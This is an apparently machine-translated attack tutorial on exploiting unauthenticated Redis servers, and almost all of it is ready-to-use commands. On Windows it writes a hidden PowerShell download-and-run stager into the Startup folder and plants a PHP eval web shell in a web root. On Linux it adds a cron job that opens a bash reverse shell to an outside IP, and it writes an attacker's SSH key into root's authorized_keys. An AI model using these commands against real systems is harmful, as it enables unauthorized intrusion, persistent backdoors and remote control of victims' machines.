windows Utilization method

Scan through the port to open the target 6379

Start item

By writing to windows The startup item is used to start the power automatically
Connect through unauthorized access , Input info See if the connection is successful

After success, build a cs monitor

Generate a powershell Fishing order
powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://xx.xx.xx.xx:80/a’))”
adopt redis Unauthorized access vulnerability set write path
config set dir “C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/”

Set write file
config set dbfilename 1.bat

Here I have a look at the Internet , It is found that the copied ones are all wrong , It turned out " Close the question using \ Only after the comments can you normally write the online powershell
set x “\r\n\r\npowershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://xx.xx.xx.xx/a’))”\r\n\r\n”

save

Go online directly after restart

webshell write in

here linux and windows The same is not linux It's a reproduction of
write in webshell
Set write web route
config set dir c:/phpstudy/www

Set write file
config set dbfilename shell.php

Write content
set x “<php @eval($_POST[‘swzaq’]) ?>”

save

Connect webshell

linux Utilization method

Planning tasks

obtain info Information

Listening port 444

Execute the following command to rebound in about a minute shell
set xxx “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.105/444 0>&1\n\n”
config set dir /var/spool/cron
config set dbfilename root
save

ssh Public private key

Use the client to generate the private key
ssh-keygen -t rsa

Save the generated public key as 1.txt
(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > 1.txt

Public key to be saved 1.txt write in redis
cat 1.txt | redis-cli -h 10.10.10.135 -x set crack

change redis Backup file path , Set the upload file name to authorized_keys
config set dir /root/.ssh
CONFIG SET dbfilename authorized_keys
save After saving, directly ssh -i id_rsa [email protected] Sign in